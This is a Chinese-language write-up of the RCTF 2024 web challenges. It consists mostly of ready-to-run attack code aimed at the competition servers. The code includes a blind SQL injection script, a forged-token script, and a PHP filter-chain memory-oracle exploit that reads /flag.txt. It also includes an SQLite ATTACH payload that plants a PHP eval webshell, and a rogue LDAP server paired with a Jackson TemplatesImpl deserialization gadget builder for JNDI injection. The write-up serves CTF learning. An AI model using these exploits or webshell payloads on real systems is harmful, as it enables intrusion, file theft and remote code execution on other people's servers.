RCTF 2024 WEB wp
RCTF 2024 WEB wp
前言
赛后复现,proxy发现自己真是个呆b...
what_is_love
首先拿key1,sql语句处有注入,可以盲注拿key1的值
import requests
import string
strings = string.digits + string.ascii_uppercase + "_"
url="http://1.94.13.174:10088/key1"
flag='RCTF{'
payload="1' || BINARY love_key REGEXP '{}' #"
for i in range(100000):
    for j in strings:
        data={
            'key1':payload.format(flag+j)
        }
        req=requests.post(url,data=data)
        if "success" in req.text:
            flag=flag+j
            print(flag)
            break
然后key2,本地没有测试saltedSecret 的值,到很晚才解出来..,阅读源码可以知道saltedSecret 由secret 和love_time 拼接而成,love_time 的值我们可以控制,我们设置成字符串,经过parseInt处理会变成NaN,不管secret 是什么,跟NaN 拼接后也会是NaN,所以saltedSecret 的值就是NaN ,既然salt值可控了,加密方式是sha256,那我们就可以随意构造token了,写个全自动的脚本
import requests
import base64
import hashlib
import json
url = "http://1.94.13.174:10088/key2"
data = {
    "username": "lover",
    "love_time": "a"
}
response = requests.post(url, data=data)
token = response.text.split("token:")[1].strip()
print(f"Obtained token: {token}")
userinfo = {
    "username": "lover",
    "love_time": None,
    "have_lovers": True
}
data_hex = base64.b64encode(json.dumps(userinfo).encode()).decode()
signature = hashlib.sha256(f'{json.dumps(userinfo)}:NaN'.encode()).hexdigest()
evil_token = f"{data_hex}.{signature}"
print(f"Constructed evil token: {evil_token}")
url = "http://1.94.13.174:10088/check"
data = {
    "love_token": evil_token
}
response = requests.post(url, data=data)
print(f"Response from /check: {response.text}")
#_AND_GIVE_A_10000_YEAR_COMMITMENT_FOR_LOVE}
color
Js逆向拿到密钥和iv,测试点击逻辑,可以发现pos的值由rangeNum控制,我们控制rangeNum的值不变,拿返回的json中的data值作为pos的值发送就可以刷分了
import requests
url = "http://124.71.164.28:10088/final/game.php"
r = requests.Session()
# 获取cookie
r.get(url)
# 刷分
data1 = {
    'action': '3wrg4Ich1RsKFUUPmU0vlw==',
    'rangeNum': 'xu9TJ5ohTpq8tlEr1Xr/dA=='
}
for i in range(500):
    data2 = {
        'action': 's03/Zr+K7nTxLc2aiHJQcg==',
        'pos': r.post(url, data1).json()['data']
    }
    print(r.post(url, data2).json())
# game over
data3 = {
    'action': 'IMYZakV42qGIPRWdg/WfFg=='
}
print(r.post(url, data3).json())
# {'code': 200, 'data': 'CD6Xpy8frmdyBVi4AjanGQ==', 'secret': 'kaZqPAlSbO0yDwz3yeFPJm7P1y8dOPX5rrvFMr70WunhBAPw2i+jUIrc/iAO7uIpZP8rlkDtpBfBwAygY6AUhw=='}
secret解密一下,拿到源码,阅读源码,漏洞点在这

file_get_contents,我们可以打侧信道盲注
import requests
import sys
from base64 import b64decode
"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.
THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain
dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE
does not cause a 500 error.
THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""
def join(*x):
  return '|'.join(x)
def err(s):
  print(s)
  raise ValueError
def req(s):
  data = f'php://filter/{s}/resource=/flag.txt'
  datas = {
        'action': 'xEt6B2i+YJdcrJ/RG3Ie4Q=='
  }
  files = {
      'image': ('web.png', data)
  }
  return "Allowed memory size" in requests.post(f'http://124.71.164.28:10088/final/game.php', data=datas, files=files).text
"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs
base64-encoding the flag file twice takes care of the first condition.
We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.
Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""
blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)
header = 'convert.base64-encode|convert.base64-encode'
# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
  payload = join(*[blow_up_utf32]*n)
  if req(f'{header}|{payload}'):
    baseline_blowup = n
    break
else:
  err('something wrong')
print(f'baseline blowup is {baseline_blowup}')
trailer = join(*[blow_up_utf32]*(baseline_blowup-1))
assert req(f'{header}|{trailer}') == False
print('detecting equals')
j = [
  req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
  req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
  req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
  err('something wrong')
if j[0] == False:
  header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
  header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
  header = f'convert.base64-encode|convert.base64-encode'
else:
  err('something wrong')
print(f'j: {j}')
print(f'header: {header}')
"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==
Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:
convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg
convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe
This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:
abcdefgh -> <0xff><0xfe>abcdefgh
The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc
And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc
And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7
It will turn the == into:
+---AD0-3D3D+---AD0-3D3D
And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!
Let's recap. We have a string like:
abcdefghij==
Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D
Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D
Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3
Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==
Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD
And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""
flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"
def get_nth(n):
  global flip, r2, r4
  o = []
  chunk = n // 2
  if chunk % 2 == 1: o.append(r4)
  o.extend([flip, r4] * (chunk // 2))
  if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
  return join(*o)
"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.
Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""
rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''
def find_letter(prefix):
  if not req(f'{prefix}|dechunk|{blow_up_inf}'):
    # a-f A-F 0-9
    if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
      # a-e
      for n in range(5):
        if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
          return 'edcba'[n]
          break
      else:
        err('something wrong')
    elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
      # A-E
      for n in range(5):
        if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
          return 'EDCBA'[n]
          break
      else:
        err('something wrong')
    elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
      return '*'
    elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # f
      return 'f'
    elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # F
      return 'F'
    else:
      err('something wrong')
  elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
    # n-s N-S
    if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
      # n-r
      for n in range(5):
        if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
          return 'rqpon'[n]
          break
      else:
        err('something wrong')
    elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
      # N-R
      for n in range(5):
        if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
          return 'RQPON'[n]
          break
      else:
        err('something wrong')
    elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # s
      return 's'
    elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # S
      return 'S'
    else:
      err('something wrong')
  elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    # i j k
    if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'k'
    elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'j'
    elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'i'
    else:
      err('something wrong')
  elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    # I J K
    if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'K'
    elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'J'
    elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'I'
    else:
      err('something wrong')
  elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    # v w x
    if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'x'
    elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'w'
    elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'v'
    else:
      err('something wrong')
  elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
    # V W X
    if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'X'
    elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'W'
    elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
      return 'V'
    else:
      err('something wrong')
  elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    # Z
    return 'Z'
  elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    # z
    return 'z'
  elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    # M
    return 'M'
  elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
    # m
    return 'm'
  elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    # y
    return 'y'
  elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    # Y
    return 'Y'
  elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    # l
    return 'l'
  elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
    # L
    return 'L'
  elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    # h
    return 'h'
  elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    # H
    return 'H'
  elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    # u
    return 'u'
  elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
    # U
    return 'U'
  elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    # g
    return 'g'
  elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    # G
    return 'G'
  elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    # t
    return 't'
  elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
    # T
    return 'T'
  else:
    err('something wrong')
print()
for i in range(100):
  prefix = f'{header}|{get_nth(i)}'
  letter = find_letter(prefix)
  # it's a number! check base64
  if letter == '*':
    prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
    s = find_letter(prefix)
    if s == 'M':
      # 0 - 3
      prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
      ss = find_letter(prefix)
      if ss in 'CDEFGH':
        letter = '0'
      elif ss in 'STUVWX':
        letter = '1'
      elif ss in 'ijklmn':
        letter = '2'
      elif ss in 'yz*':
        letter = '3'
      else:
        err(f'bad num ({ss})')
    elif s == 'N':
      # 4 - 7
      prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
      ss = find_letter(prefix)
      if ss in 'CDEFGH':
        letter = '4'
      elif ss in 'STUVWX':
        letter = '5'
      elif ss in 'ijklmn':
        letter = '6'
      elif ss in 'yz*':
        letter = '7'
      else:
        err(f'bad num ({ss})')
    elif s == 'O':
      # 8 - 9
      prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
      ss = find_letter(prefix)
      if ss in 'CDEFGH':
        letter = '8'
      elif ss in 'STUVWX':
        letter = '9'
      else:
        err(f'bad num ({ss})')
    else:
      err('wtf')
  print(end=letter)
  o += letter
  sys.stdout.flush()
"""
We are done!! :)
"""
print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'',b'')
print(b64decode(d))
删掉前面的几个无关字符,base64解码拿到flag
proxy
其实挺简单一题,就是有点抽风就想不到...,阅读源码,很明显是个sqlite注入,curl_exec 是一点用也没有的,控制$BE就可以开始注入了,但是源码中写了个rollback,也就是有一条sql语句执行没成功就回滚了,于是开始了漫长的测试,测到最后也没同时满足所有sql语句,最终解法:手动commit一次...
payload:?BE=');ATTACH DATABASE '/var/www/html/f12.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval($_POST[1]);phpinfo();?>'); commit;--+
读取flag.php拿到flag
OpenYourEyesToSeeTheWorld
睁眼看世界,睁眼了但没看到世界,审了半天,入口都没找到,害,阅读源码,很明显是个jndi注入,找到入口基本就秒了,一直追踪search到这

进入p_resolveIntermediate

跟进c_resolveIntermediate_nns,上下两个都一样

进入c_lookup,里面就是熟悉的lookup流程了,就不多说这个,怎么才能进到这个c_lookup呢,得满足两个条件,Head和Tail不为空就行了,这两个从searchBase 获取的,对黑名单的绕过可以使用unicode编码,searchBase 在这里进行了处理,可以控制Head和Tail的值

进入这个CompositeName,其实就是对/ 进行了分割,写入了一个impl中,具体流程请自行研究,入口找到了就可以打了,既然是spring,直接就能打jackson的templateImpl了,这里打高版本的ldap
package com.ctf;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.*;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LDAPServer2 {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    ldap_port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + ldap_port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    public static class HttpFileHandler implements HttpHandler {
        public HttpFileHandler() {
        }
        public void handle(HttpExchange httpExchange) {
            try {
                System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
                String uri = httpExchange.getRequestURI().getPath();
                InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                if (inputStream == null){
                    System.out.println("Not Found");
                    httpExchange.close();
                    return;
                }else{
                    while(inputStream.available() > 0) {
                        byteArrayOutputStream.write(inputStream.read());
                    }
                    byte[] bytes = byteArrayOutputStream.toByteArray();
                    httpExchange.sendResponseHeaders(200, (long)bytes.length);
                    httpExchange.getResponseBody().write(bytes);
                    httpExchange.close();
                }
            } catch (Exception var5) {
                var5.printStackTrace();
            }
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            /** Payload1: Return Reference Factory **/
            // e.addAttribute("javaCodeBase", cbstring);
            // e.addAttribute("objectClass", "javaNamingReference");
            // e.addAttribute("javaFactory", this.codebase.getRef());
            /** Payload1 end **/
            /** Payload2: Return Serialized Gadget **/
            try {
                // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
                e.addAttribute("javaSerializedData",Base64.decode(new BufferedReader(new InputStreamReader(new FileInputStream(new File("D:\\1.txt")))).readLine()));
            } catch (ParseException e1) {
                e1.printStackTrace();
            }
            /** Payload2 end **/
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
    public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
        System.out.println("Starting HTTP server");
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
        httpServer.createContext("/", new HttpFileHandler());
        httpServer.setExecutor(null);
        httpServer.start();
    }
    public static void main(String[] args) throws Exception {
        String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
        args = args1;
        System.out.println("HttpServerAddress: "+args[0]);
        System.out.println("HttpServerPort: "+args[1]);
        System.out.println("LDAPServerPort: "+args[2]);
        String http_server_ip = args[0];
        int ldap_port = Integer.valueOf(args[2]);
        int http_server_port = Integer.valueOf(args[1]);
        lanuchCodebaseURLServer(http_server_ip, http_server_port);
        lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
    }
}
package com.example.demo.controller;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("E:\\demo\\target\\classes\\com\\example\\demo\\calc.class"))};
        Templates templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_name", "a");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,pojoNode);
        FileOutputStream fos = new FileOutputStream("D:\\1.txt");
        fos.write(serial(exp).getBytes());
        Base64.getDecoder().decode(serial(exp));
        File f = new File("D:\\1.txt");
        BufferedReader bfr = new BufferedReader(new InputStreamReader(new FileInputStream(f)));
        System.out.println(bfr.readLine());
//        deserial(serial(exp));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;
    }
    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}
nosandbox
官方wp还没出,说实话不知道/flag的密钥有啥用,看SAINTSEC的师傅是直接打的cc。所以这题先空着,之后补充(
RCTF 2024 WEB wp的更多相关文章
- ISCC的 Web——WP
		比赛已经结束了,自己做出来的题也不是很多,跟大家分享一下 第一题:比较数字大小 打开连接 在里面随意输入一个值,他会提示数字太小了 那么我们输入他允许的最大值试试 他还是提示太小了 我们知道做web‘ ... 
- 实验吧—Web——WP之 Forms
		我们先打开解题链接: 做Web题的第一步就是查看网页源代码,当然,有些网页他不会让你点击右键,那么可以在地址栏里的地址前面加上:view-source: 当然也可以打开控制台F12 我们可以看到代码里 ... 
- 到处抄来的SUCTF2019 web wp
		0x01 EasySQL 这是一个考察堆叠注入的题目,但是这道题因为作者的过滤不够完全所以存在非预期解 非预期解 直接构造 *,1 这样构造,最后拼接的查询语句就变成了 select *,1||fla ... 
- RCTF 2019 web
		写在正文前 神仙题,压根不会. 听说跟着神仙的思路走一遍印象会深点,Just mo it .2333 正文 nextphp 整体思路:phpinfo得知存在preload.php文件,并与opcach ... 
- 2021CISCN 华南赛区WEB wp
		CISCN 华南区域赛 太菜了 我躺平了 easy_seri <?php error_reporting(0); highlight_file(__FILE__); class Test{ pu ... 
- 2019西湖论剑web wp
		发在正文前 这应该是自己在安全圈摸爬滚打两年多以来第一次正规的ctf比赛.没解出flag,没截图,只提供了一些思路. 遥想往昔,初入大学,带着对PT的向往,一个人穿行在幽暗的图书馆,翻阅啃读一本本安全 ... 
- 实验吧—Web——WP之 FALSE
		打开链接,点击源码按钮,我们开始分析源码: 在这源码中我们能看出 如果名字等于密码就输出:你的名字不能等于密码 如果名字的哈希值等于密码的哈希值,那么就会输出flag 这就意味着我们要上传两个值,值不 ... 
- 实验吧—Web——WP之 Guess Next Session
		打开链接,他有给出查看原码的按钮,那么我们打开看看 在这个里面,如果GET的值等于session的就会给出flag 那么我们进行抓包改包 在输入框内随意输入一个值然后抓包 将password的值删去, ... 
- 实验吧—Web——WP之 简单的sql注入之2
		直接打开解题连接: 既然是SQL注入,那么我们就要构造注入语句了,这个就要有耐心一个一个去尝试了 输入语句 1'and 1=1 # 和 1'and/**/1=1/**/#后 对比一下,发现是过滤掉了空 ... 
- 实验吧—Web——WP之 上传绕过
		我们先上传一个png文件,发现他说必须上传后缀名为PHP的文件才可以,那么,我们尝试一下,PHP文件 但是他又说不被允许的文件类型 在上传绕过里最有名的的就是00截断,那么我们就先要抓包 在这里我们需 ... 
随机推荐
- 直播预告丨Hello HarmonyOS进阶课程第三课——游戏开发实践
			为了帮助初识HarmonyOS的开发者快速入门,我们曾推出Hello HarmonyOS系列一共5期课程,从最基础的配置IDE和创建Hello World开始,详细介绍HarmonyOS基础.开发环境 ... 
- c# semaphoreSlim限制线程数
			前言 我们在使用线程的时候,如果多个线程数去访问一个资源的时候,那么是非常影响程序的运行的,因为如果有写的操作,那么需要写锁,那么线程都会堵在同一个地方,那么我们可以限制一下访问一个资源的线程数. 正 ... 
- SQLite总结
			废话不多说: 优点,高并发读快速度读取超越所有主流大中型数据库 缺点,缺少同步机制,读写不能同时,且同时只能有一个写入线程 用途,硬盘式缓存 另附一SQLite工具类: import java.io. ... 
- 牛客网-SQL专项训练13
			①某软件公司正在升级一套水务管理系统.该系统用于县市级供排水企业.供水厂.排水厂中水务数据的管理工作.系统经重新整合后,开发人员决定不再使用一张备份数据表waterinfo001表,需永久删除.选出符 ... 
- EasyNLP中文文图生成模型带你秒变艺术家
			简介: 我们在EasyNLP框架中集成了中文文图生成功能,同时开放了模型的Checkpoint. 导读 宣物莫大于言,存形莫善于画. --[晋]陆机 多模态数据(文本.图像.声音)是人类认识.理解和表 ... 
- 带你体验云原生场景下 Serverless 应用编程模型
			简介: 阿里云 Knative 基于 ASK 之上,在完全兼容社区 Knaitve 的同时对 FC.ECI 工作负载进行统一应用编排,支持事件驱动.自动弹性,为您提供统一的 Serverless 应 ... 
- Apache Flink 在京东的实践与优化
